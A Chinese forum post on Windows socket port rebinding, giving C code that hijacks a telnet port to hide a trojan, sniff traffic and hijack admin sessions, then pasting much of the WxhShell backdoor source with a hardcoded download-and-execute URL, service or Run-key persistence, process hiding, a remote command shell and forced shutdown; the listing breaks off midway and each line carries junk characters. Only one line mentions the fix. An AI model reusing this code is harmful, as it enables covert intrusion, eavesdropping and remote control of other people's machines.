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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: G ,`]2'(@  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ?l|&JgJ$  
v(uNqX.BC  
  saddr.sin_family = AF_INET; @y eAM7  
\^'-=8<*>  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); t`eIkq|NxI  
OzTR#`oey  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ( p CU:'"  
^7:UC\_  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 B'PS-Jr  
B\ZCJaMb  
  这意味着什么?意味着可以进行如下的攻击: ^%U`|GBZp  
+t]Ge >S  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 J'I1NeK  
+}mj;3i  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) (K ]wk9a  
,a0RI<D  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 fQw=z$  
lm{4x~y$h  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  VEL!-e^X&  
3r?T|>|  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 3n_t^=  
,RAP_I!_x  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 a]8W32  
w`/~y   
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 szOa yAS  
g`6I,6G  
  #include *~UK5Brf1  
  #include z4]z3U<}3]  
  #include AZ\f6r{  
  #include    J'wJe,  
  DWORD WINAPI ClientThread(LPVOID lpParam);   bc& 5*?  
  int main() dL1{i,M  
  { L5wFbc"u  
  WORD wVersionRequested; \ ~C/  
  DWORD ret; Ga <=Di):  
  WSADATA wsaData; ;hd%w mE  
  BOOL val; +.u HY`A  
  SOCKADDR_IN saddr;  \5HVX/  
  SOCKADDR_IN scaddr; 8SupoS  
  int err; T.WN9= N  
  SOCKET s; \M Av's4b@  
  SOCKET sc; {Q^ -  
  int caddsize; 83)m#  
  HANDLE mt; 6>b#nFVJ  
  DWORD tid;   sei%QE]!/  
  wVersionRequested = MAKEWORD( 2, 2 ); [E9_ZdB T  
  err = WSAStartup( wVersionRequested, &wsaData ); cNy*< Tv  
  if ( err != 0 ) { W$gjcsv  
  printf("error!WSAStartup failed!\n"); (|tR>R.Wxg  
  return -1; sv!6z Js  
  } [|C  
  saddr.sin_family = AF_INET; z gxMDLH  
   MiMDEe%f%  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 9SU/ 86|N  
>5t]Zlb`  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); pT:6A[&  
  saddr.sin_port = htons(23); N=@8~{V.  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) 3Z}KRsp3  
  { i`w&{WTRQ  
  printf("error!socket failed!\n"); _|COnm  
  return -1; HeHo?<>|d  
  } :?)q"hE  
  val = TRUE; wZj`V_3  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 hu~XFRw15  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) Q 9<i2H  
  { :v E\r#hJ"  
  printf("error!setsockopt failed!\n"); "(p&Oz  
  return -1; fz+dOIU3\L  
  } )qDV3   
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; 6ziBGU#.-  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 [E qZj/  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 H00iy$R  
- G=doP0  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) 7Ewq'Vu`y  
  { *M6j)jqV  
  ret=GetLastError(); D@ BP<   
  printf("error!bind failed!\n"); i\ )$  
  return -1; |tFg9RT  
  } ~#=70  
  listen(s,2); Ece=loV*l  
  while(1) "Q[?W( SA  
  { ;F /w&u.n  
  caddsize = sizeof(scaddr); }l5Q0'  
  //接受连接请求 87R$Y> V  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); =o[H2o y  
  if(sc!=INVALID_SOCKET) i~{0>"9  
  { 85:mh\@-G  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); suN}6C I  
  if(mt==NULL) uLt31G()  
  { -]:1zU  
  printf("Thread Creat Failed!\n"); r <2&_$|  
  break; ]OC?g2&6  
  } O7f"8|=HX  
  } *3y_FTh8ra  
  CloseHandle(mt); 07vzVsQ}p  
  } ?|GwuG8g  
  closesocket(s); 0)9n${P7d  
  WSACleanup(); af=lzKt*  
  return 0; |u[@g`Z  
  }   "l(<<Ha/  
  DWORD WINAPI ClientThread(LPVOID lpParam) LiJ./  
  { *nHkK!d<N  
  SOCKET ss = (SOCKET)lpParam; ~[0^{$rrWs  
  SOCKET sc; n?v$C:jLN  
  unsigned char buf[4096]; }Gd^r  
  SOCKADDR_IN saddr; rxeOT# N}  
  long num; |#22pq?RP  
  DWORD val; b Kr73S9  
  DWORD ret; 0E^S!A 7  
  //如果是隐藏端口应用的话,可以在此处加一些判断 |_16IEJ  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   dF+:9iiAm  
  saddr.sin_family = AF_INET; r3~YGY  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); =^w:G=ymS  
  saddr.sin_port = htons(23); v2vtkYQN  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) )yS S2  
  { ;Hu`BFXyD  
  printf("error!socket failed!\n"); I5W#8g!{  
  return -1; i(S}gH4*o  
  } |1m2h]];Q  
  val = 100; \*30E<;C_  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) N{K[sXCW  
  { jjg[v""3|  
  ret = GetLastError(); W'5c%SI  
  return -1; KWn.  
  } :?\Je+iA  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) a=*JyZ.2  
  { _Hv@bIL'  
  ret = GetLastError(); 'c$)}R I7  
  return -1; Az6tu <  
  } ohPDknHp  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) bO }9/Ay  
  { rG'W#!^*  
  printf("error!socket connect failed!\n"); g`41d  
  closesocket(sc);  SB^xq  
  closesocket(ss); +QEiY~i  
  return -1; YvFt*t  
  } 69zMWuY  
  while(1) w[/m:R?eX  
  { DhiIKd9W  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。  9 -Xr  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 (6i. >%|_  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 =la~D]T*g  
  num = recv(ss,buf,4096,0); ;2547b[ ]  
  if(num>0) @E?o~jO(e  
  send(sc,buf,num,0); &xS] ;Fr  
  else if(num==0) mz3Dt>  
  break; ;<BMgO}N  
  num = recv(sc,buf,4096,0); 'I@l$H  
  if(num>0) o AM)<#U>  
  send(ss,buf,num,0); P"Y7N?\](  
  else if(num==0) D3C3_ @*  
  break; R(#ZaFuo[  
  } /Hyi/D{W  
  closesocket(ss); "E7YCZQR  
  closesocket(sc); )8V=!73  
  return 0 ; G4J)o?:m@  
  } uVzvUz{b  
2E@y0[C?  
-~^sSLrbP  
========================================================== g<Y N#  
Jmun^Q/h  
下边附上一个代码,,WXhSHELL MJy(B><  
)Vpt.4IBd  
========================================================== A_I\6&b4  
B5!|L)7>{p  
#include "stdafx.h" 70N Lv  
X 3(*bj>P  
#include <stdio.h> q4Y7 HE|ym  
#include <string.h> ; r95i1a'  
#include <windows.h> Z4D[nPm$  
#include <winsock2.h> X=%e'P*X  
#include <winsvc.h> rWip[>^  
#include <urlmon.h> B[;aNyd<  
6rN.)dL.#N  
#pragma comment (lib, "Ws2_32.lib") !5>PZ{J  
#pragma comment (lib, "urlmon.lib") B;J8^esypD  
lZ?YyRsa6&  
#define MAX_USER   100 // 最大客户端连接数 <4.j] BE  
#define BUF_SOCK   200 // sock buffer 3NN )ql  
#define KEY_BUFF   255 // 输入 buffer sQLjb8!7  
/q?g py  
#define REBOOT     0   // 重启 Gw+pjSJL`  
#define SHUTDOWN   1   // 关机 "; mlQyP  
F??gVa aj  
#define DEF_PORT   5000 // 监听端口 9rgvwko  
!iU$-/,1e  
#define REG_LEN     16   // 注册表键长度 lF3wTf/j  
#define SVC_LEN     80   // NT服务名长度 1n~^@f#`  
#:tC^7qk  
// 从dll定义API Dh)(?"^9A  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); REJHh\:.77  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); #bGYd}BfD  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); WUGFo$ xA  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 8_T9[ ]7V8  
\n^;r|J7k  
// wxhshell配置信息 > QG@P  
struct WSCFG { pLtK:Z  
  int ws_port;         // 监听端口 O-qpB;|  
  char ws_passstr[REG_LEN]; // 口令 P5&8^YV`N  
  int ws_autoins;       // 安装标记, 1=yes 0=no {ukQBu#}<  
  char ws_regname[REG_LEN]; // 注册表键名 !twYjOryH[  
  char ws_svcname[REG_LEN]; // 服务名 N;i\.oY  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 /NQ PTr  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 3|4<SMm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ?7A>|p?"  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 96<0=   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ;1q|SmF  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 YZ6" s-  
5>aK4: S/  
}; deCi\n  
EAK[2?CY  
// default Wxhshell configuration !k!1 h%7q  
struct WSCFG wscfg={DEF_PORT, F[]6U/g n  
    "xuhuanlingzhe", >YR2h/S  
    1, jt3=<&*Bm  
    "Wxhshell", M# cJ&+rP  
    "Wxhshell", gPIl:, d(  
            "WxhShell Service", !EGpI@  
    "Wrsky Windows CmdShell Service", E_Fm5zb?X  
    "Please Input Your Password: ", K7wU tg  
  1, h8icF}m  
  "http://www.wrsky.com/wxhshell.exe", [R<>3}50Y  
  "Wxhshell.exe" L$v<t/W  
    }; OuyO_DSI  
i-R}O6  
// 消息定义模块 L)"CE].  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; j8;Uny9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; X}`39r.  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Uz%2{HB@{  
char *msg_ws_ext="\n\rExit."; _=HNcpDA;0  
char *msg_ws_end="\n\rQuit."; Gyb|{G_  
char *msg_ws_boot="\n\rReboot..."; bfI= =  
char *msg_ws_poff="\n\rShutdown..."; >{>X.I~  
char *msg_ws_down="\n\rSave to "; SZ~lCdWad  
; KT/;I  
char *msg_ws_err="\n\rErr!"; )C0d*T0i  
char *msg_ws_ok="\n\rOK!"; J>1%* Tz  
O"J"H2}S  
char ExeFile[MAX_PATH]; ^ LVKXr  
int nUser = 0; XC4wm#R  
HANDLE handles[MAX_USER]; GIhFOK  
int OsIsNt; 'u6n,yRm  
a&u!KAQ  
SERVICE_STATUS       serviceStatus; %uvA3N>  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; $f+cd8j?o  
2Q;rSe._`  
// 函数声明 6xx(o  
int Install(void); Wu'9ouw!  
int Uninstall(void); A[uB)wWsn  
int DownloadFile(char *sURL, SOCKET wsh); Jv?EV,S/e  
int Boot(int flag); S{N=9934_  
void HideProc(void); Ey{p;;H  
int GetOsVer(void); SNSHX2  
int Wxhshell(SOCKET wsl); gi$'x^]#  
void TalkWithClient(void *cs); #x \YA#~  
int CmdShell(SOCKET sock); 2x~Pq_?y  
int StartFromService(void); M,<UnAVP-  
int StartWxhshell(LPSTR lpCmdLine); aI 1tG  
FmgMd)#  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); fpJ%{z2  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); Xq}}T%jcd  
sK8sxy  
// 数据结构和表定义 :KS"&h{SY  
SERVICE_TABLE_ENTRY DispatchTable[] = z=Xh  
{ iqKs:v@+x  
{wscfg.ws_svcname, NTServiceMain}, _%(.OR  
{NULL, NULL} *0'< DnGW  
}; 3 6t^iV*3  
BDLJDyf B  
// 自我安装 g!^mewtd  
int Install(void) _} K3}}  
{ P3v4!tR  
  char svExeFile[MAX_PATH]; PW\me7iCz  
  HKEY key; ,s/laZ)V  
  strcpy(svExeFile,ExeFile); v>_83P`  
"^wIixOH5  
// 如果是win9x系统,修改注册表设为自启动 G+<id1  
if(!OsIsNt) { ??lsv(v-  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { t :~,7  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); l[C_vUg  
  RegCloseKey(key); TSVlZy~Xo  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { gH*(1*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); V=8npz   
  RegCloseKey(key); J[c`Qq:&e  
  return 0; rp|A88Q/!  
    } x<PJ5G L  
  } q>.C5t'Qx  
} LIT`~D  
else { NDJP`FI  
t:b}Mo0  
// 如果是NT以上系统,安装为系统服务 aLlHR_  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); @WiTh'w0  
if (schSCManager!=0) t<"%m)J  
{ 4j(`koX_  
  SC_HANDLE schService = CreateService Wl }J=  
  ( 4'Y a-x x  
  schSCManager, s\p 1EL(  
  wscfg.ws_svcname, a)I>Ns)  
  wscfg.ws_svcdisp, pJuD+v  
  SERVICE_ALL_ACCESS, [~c_Aa+6N  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v# e*RI2}  
  SERVICE_AUTO_START, +.zX?}  
  SERVICE_ERROR_NORMAL, J"$U$.W=  
  svExeFile, Ctx>#uN6  
  NULL, 8,(--A  
  NULL, X"7x_ yOZ  
  NULL, @!^Y_q  
  NULL, b1QHZY\g{  
  NULL &P"13]^@  
  ); 2sp4Mm  
  if (schService!=0) f?> ?jf  
  { ')/w+|F  
  CloseServiceHandle(schService); Rtlc&Q.b  
  CloseServiceHandle(schSCManager); .[Qi4jm>`  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); \fp'=&tp~a  
  strcat(svExeFile,wscfg.ws_svcname);  cp0yr:~  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ~(B%E'  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); "=LeHY=9  
  RegCloseKey(key); KtArV  
  return 0; HZ1nuA  
    } \:+ NVIN  
  } =woP~+  
  CloseServiceHandle(schSCManager); dI>cPqQ  
} :jC$$oC].  
} A[F_x*S  
Q<KF<K'0hg  
return 1; GMB3`&qh  
} e wWw  
<[u(il  
// 自我卸载 GVfRy@7n  
int Uninstall(void) bZ^'_OOn  
{ Rt5pl,Nf  
  HKEY key; v6Wz:|G/u  
v*c"SI=@M=  
if(!OsIsNt) { lJ,\^\q  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 8kvA^r`  
  RegDeleteValue(key,wscfg.ws_regname); BzV97'  
  RegCloseKey(key); J _q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { p<?lF   
  RegDeleteValue(key,wscfg.ws_regname); reM~q-M~o@  
  RegCloseKey(key); OR37  
  return 0; V]m}xZ'?^  
  } s_^N=3Si   
} %@|)&][hO  
} &N]e pV>  
else { %~kE,^  
P1Eg%Y6  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); {u -J?(s}  
if (schSCManager!=0) _dW#[TCF  
{ #{#k;va  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); Br.UN~q  
  if (schService!=0) V<?0(esgR  
  { |WSpWsr,  
  if(DeleteService(schService)!=0) { RCoDdtMo  
  CloseServiceHandle(schService); At !:d3  
  CloseServiceHandle(schSCManager); }EP}D?Mmu  
  return 0; ii>^]iT  
  } /I{K_G@  
  CloseServiceHandle(schService); 8&3& ^!I  
  } p"- %~%J=  
  CloseServiceHandle(schSCManager); esq~Ehr=  
} BOP7@D  
} RLzqpE<rJ  
?P4y$P  
return 1; V?mk*CU  
} -]{ _^  
\(;u[  
// 从指定url下载文件 D,|TQ Q  
int DownloadFile(char *sURL, SOCKET wsh) uH,/S4?X  
{ Y3s8@0b3  
  HRESULT hr; aof'shS8  
char seps[]= "/"; mN.  
char *token; S)W?W}*R\  
char *file; 9W_mSum  
char myURL[MAX_PATH]; hwQ|'^(@O  
char myFILE[MAX_PATH]; ]6s/y  
BUV4L5(  
strcpy(myURL,sURL); % 4t?X  
  token=strtok(myURL,seps); N U+PG`Vb  
  while(token!=NULL) y>#kT  
  { 3x 7fa^umR  
    file=token; :(.:bf  
  token=strtok(NULL,seps); 9a_UxF+6/  
  } _a|g >  
^)a:D KL  
GetCurrentDirectory(MAX_PATH,myFILE); -B! a O65^  
strcat(myFILE, "\\"); ;' |CSjco  
strcat(myFILE, file); >n(dyU@  
  send(wsh,myFILE,strlen(myFILE),0); cLvnLaA}  
send(wsh,"...",3,0); lj:.}+]r  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w=: c7Y+  
  if(hr==S_OK) p#-=mXE/2  
return 0; mAY/J0_  
else >j*0fb!:]  
return 1; s{{8!Q  
qn{4AWmJ  
} %s9*?6  
wZ69W$,p  
// 系统电源模块 a/H5Y,b>  
int Boot(int flag) qFLt/ >  
{ jC$~m#F  
  HANDLE hToken; 3)9e-@  
  TOKEN_PRIVILEGES tkp; !'IZr{Y>  
7y42)X  
  if(OsIsNt) { ;l<Hen*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 49O_A[(d  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); =<)/lz] H  
    tkp.PrivilegeCount = 1; (l9jczi  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; >Q^ mR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); p! )tA  
if(flag==REBOOT) { "Mv^S'?>  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) q[}r e2  
  return 0; 2V$Jn8v,`{  
} lUp%1x+  
else { vjh'<5w9Wi  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 2 e#"JZ=  
  return 0; l0qHoM,1Y[  
} rc7c$3#X  
  } =|dm#w_L"  
  else { 6#Y]^%?uy  
if(flag==REBOOT) { qu]a+cYY  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nD>X?yz2  
  return 0; nD)SR  
} Zy{hYHQ  
else { _ouZd.  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))  | z_av  
  return 0; Ol<LL#<j4  
} 9&<c)sS&B  
} B<h4ZK%  
(!0_s48f  
return 1; +ut%C.1  
} pU,\ &3N  
!=yO72dgLY  
// win9x进程隐藏模块 )te_ <W  
void HideProc(void) 0}'/pN>  
{ Z=%u:K}[  
'%:E4oI  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); 1rU\ !GfR  
  if ( hKernel != NULL ) B6\/xKmv?8  
  { S$R=!3* "V  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); eb,QT\/G  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); eI|~neh  
    FreeLibrary(hKernel); YnDaB px  
  } MrOtsX  
/X#OX 8gb]  
return; D62'bFB^  
} 9ao?\]&t  
f(K1 ,L:&7  
// 获取操作系统版本 ;ByCtVm2  
int GetOsVer(void) #q9BU:  
{ 5H 1x-b  
  OSVERSIONINFO winfo; @y0kX<M  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); XRyeEwA;pp  
  GetVersionEx(&winfo); m9jjKu]|  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) ;i+(Q%LO  
  return 1; `Pwf?_2n-  
  else 2)n%rvCQ  
  return 0; Gz8JOl  
} LUz`P6  
y^kC2DS   
// 客户端句柄模块 a{%EHL,F  
int Wxhshell(SOCKET wsl) v]KPA.W  
{ dr(e)eD(R>  
  SOCKET wsh; 8 ?:W{GAo  
  struct sockaddr_in client; @cm[]]f'l  
  DWORD myID; ^r]-v++  
4K4u]"1  
  while(nUser<MAX_USER) ~EYdEqS)  
{ w> Ft5"z  
  int nSize=sizeof(client); T:CWxusL  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); (>P z3 7  
  if(wsh==INVALID_SOCKET) return 1; 9+5F(pd(  
c]z^(:_>  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Ml +f3#HP  
if(handles[nUser]==0) 8 -b~p  
  closesocket(wsh); 6G-XZko~a  
else K+yi_n L  
  nUser++; p{SIGpbR&  
  } Esg:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 2elj@EB,M  
F[.IF5_  
  return 0; 2Y=Q%  
} soKR*gJ,  
a{?>F&vnU  
// 关闭 socket o+R(ux"  
void CloseIt(SOCKET wsh) I4c %>R  
{ )_kEy>YscZ  
closesocket(wsh); 4L,&a+)  
nUser--; b~8&P_  
ExitThread(0); _F8-4  
} :b#5 cMUe  
W^3'9nYU  
// 客户端请求句柄 (ijO|%?  
void TalkWithClient(void *cs) *\Hut'7 d  
{ U2JxzHXZ  
y>RqA *J  
  SOCKET wsh=(SOCKET)cs; j{zVVT  
  char pwd[SVC_LEN]; ~i}/  
  char cmd[KEY_BUFF]; I&x69  
char chr[1]; Ww{-(Ktx  
int i,j; ?C6`  
\OK}DhY#  
  while (nUser < MAX_USER) { PKs$Q=Ol<|  
({!*&DVu  
if(wscfg.ws_passstr) { |txzIc.#  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); '_g*I  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); Yt4v}{+  
  //ZeroMemory(pwd,KEY_BUFF); )IE) a[wo  
      i=0; *I9G"R8  
  while(i<SVC_LEN) { kaCn@$  
W*4!A\K  
  // 设置超时 QkO4Td<  
  fd_set FdRead; #P1 ;*m  
  struct timeval TimeOut; YeF'r.Y  
  FD_ZERO(&FdRead); .+^o{b  
  FD_SET(wsh,&FdRead); ]d&;QZ#w  
  TimeOut.tv_sec=8; 3v<9 Z9O  
  TimeOut.tv_usec=0; rO1.8KKJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); N=:xyv  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); u)ZZ/|  
['0^gN$:e  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); } x'o`GuUf  
  pwd=chr[0];  +!wkTrV  
  if(chr[0]==0xd || chr[0]==0xa) {  uQW d1>  
  pwd=0; `"bp -/  
  break; [{_K[5i  
  } .:, 9Tf  
  i++; I]ol[ X0S  
    } .q$/#hN:e  
"QY~V{u5  
  // 如果是非法用户,关闭 socket jH4Wu`r;m  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 9p"';*{=  
} 'wTJX>  
WF <*rl  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); +Nka,C^O"  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;!>>C0s"  
/3~}= b  
while(1) { sZU Ao&  
tLx8}@X"  
  ZeroMemory(cmd,KEY_BUFF); h6(L22Hn  
.O.fD  
      // 自动支持客户端 telnet标准   *km - pp  
  j=0; jY\YSQ  
  while(j<KEY_BUFF) { vYG$>*  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Aj=c,]2  
  cmd[j]=chr[0]; R~BW=Dz,e  
  if(chr[0]==0xa || chr[0]==0xd) { W{;LI WsZ  
  cmd[j]=0; d _koF-7  
  break;  Qp>Q-+e0  
  } \V.U8asfI  
  j++; _]=, U.a=/  
    } UX<0/"0h  
T}A{Xu*:+H  
  // 下载文件 o/\z4Ri)$  
  if(strstr(cmd,"http://")) { h$fC/Juit  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); !^A t{[U  
  if(DownloadFile(cmd,wsh)) *yA. D?  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); CB?H`R pC.  
  else ia /_61%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); {{_,YO^w  
  } 4:v{\R  
  else { h'G8@j;  
 '+C%]p  
    switch(cmd[0]) { Jz\'%O'  
  NW;wy;;  
  // 帮助 HnfTj5J@  
  case '?': { +UP?M4g  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); \t@|-`  
    break; T?FR@. Rm  
  } n?A;'\cK  
  // 安装  6@ )bZ|  
  case 'i': { R0mWVgoz  
    if(Install()) sFxciCpN  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "'"dcA   
    else #/`V.jXt>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); M3 $MgsN:  
    break; LHP?!rO0  
    } meV RdQ  
  // 卸载 _26F[R1><~  
  case 'r': { ktKT=(F&  
    if(Uninstall()) hC =="4 -  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x;R9Gc[5  
    else <$ Ar*<,6  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z?-l-s K  
    break; T/C1x9=?  
    } W1J7$   
  // 显示 wxhshell 所在路径 V|fs"HY  
  case 'p': { wA}+E)x/C  
    char svExeFile[MAX_PATH]; .oo>NS  
    strcpy(svExeFile,"\n\r"); Fc<+N0M{  
      strcat(svExeFile,ExeFile); hY Nb9^  
        send(wsh,svExeFile,strlen(svExeFile),0); ysiBru[u  
    break; oMi"X"C:q  
    } ,!4 (B1@  
  // 重启 /fc@=CO  
  case 'b': { 0qV!-i  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); {GiR-q{t  
    if(Boot(REBOOT)) %fz!'C_4  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); SSF4P&  
    else { Wz7jB6AWA  
    closesocket(wsh); D?Q{&6p  
    ExitThread(0); #`4ma:Pj  
    } L1k_AC1.M  
    break; <[7.+{qfW  
    } #X"eg  
  // 关机 DP9hvu/85  
  case 'd': { YX_p3  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); wy$9QN  
